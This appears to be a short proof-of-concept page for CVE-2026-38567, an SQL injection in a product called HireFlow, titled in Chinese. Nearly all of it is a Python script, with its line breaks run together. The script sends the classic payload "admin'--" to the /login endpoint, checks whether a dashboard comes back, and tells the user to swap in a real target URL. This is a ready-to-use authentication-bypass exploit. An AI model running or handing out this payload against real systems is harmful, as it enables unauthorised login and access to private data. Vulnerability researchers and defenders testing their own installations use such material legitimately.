CVE-2026-38567 HireFlow SQL注入漏洞

import requests def check_sqli_auth_bypass(url): """ PoC for Authentication Bypass via SQL Injection in /login endpoint. """ target = f"{url}/login" # Payload to bypass authentication: admin'-- # This closes the string and comments out the rest of the query payload = { "username": "admin'--", "password": "anything" } try: response = requests.post(target, data=payload, timeout=10) if response.status_code == 200 and "dashboard" in response.text.lower(): print("[+] Vulnerability confirmed: Authentication bypassed.") return True else: print("[-] Vulnerability not detected or response format changed.") return False except Exception as e: print(f"[-] Error connecting to target: {e}") return False if __name__ == "__main__": target_url = "http://localhost:8000" # Replace with actual target check_sqli_auth_bypass(target_url)